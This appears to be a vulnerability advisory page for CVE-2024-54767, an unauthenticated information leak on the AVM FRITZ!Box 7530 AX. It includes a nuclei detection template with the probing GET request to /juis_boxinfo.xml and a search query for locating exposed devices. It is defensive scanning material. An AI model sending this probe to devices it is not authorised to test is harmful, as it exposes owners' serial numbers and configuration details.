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CVE-2024-54767· CWE-203

AVM FRITZ!Box 7530 AX - Unauthorized Access

highseverity
7.5CVSS score
2.1%likelihood of exploitation, next 30 days
82%of all CVEs are less likely
Readycheck to confirm it

An access control issue in the component /juis_boxinfo.xml of AVM FRITZ!Box 7530 AX v7.59 allows attackers to obtain sensitive information without authentication.

Impact

Unauthenticated attackers can access sensitive device information including firmware version, serial numbers, and configuration details through the boxinfo XML endpoint.

Fix

Update AVM FRITZ!Box 7530 AX to a version later than 7.59 that addresses the unauthorized access vulnerability.

How to confirm it

Send: GET //juis_boxinfo.xml
Positive when: contains "<e:BoxInfo" AND contains in content_type "text/xml" AND status 200

Run it with nuclei: nuclei -id CVE-2024-54767 -u <target>

The full check
id: CVE-2024-54767

info:
  name: AVM FRITZ!Box 7530 AX - Unauthorized Access
  author: DhiyaneshDK
  severity: high
  description: |
    An access control issue in the component /juis_boxinfo.xml of AVM FRITZ!Box 7530 AX v7.59 allows attackers to obtain sensitive information without authentication.
  impact: |
    Unauthenticated attackers can access sensitive device information including firmware version, serial numbers, and configuration details through the boxinfo XML endpoint.
  remediation: |
    Update AVM FRITZ!Box 7530 AX to a version later than 7.59 that addresses the unauthorized access vulnerability.
  reference:
    - https://github.com/Shuanunio/CVE_Requests/blob/main/AVM/fritz/AVM_FRITZ%21Box_7530%20AX_unauthorized_access_vulnerability_first.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-54767
    cwe-id: CWE-203
    epss-score: 0.02092
    epss-percentile: 0.8179
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="FRITZ!Box 7530"
  tags: cve,cve2024,fritz!box,info-leak,unauth,vuln

http:
  - raw:
      - |
        GET //juis_boxinfo.xml HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<e:BoxInfo"

      - type: word
        part: content_type
        words:
          - "text/xml"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from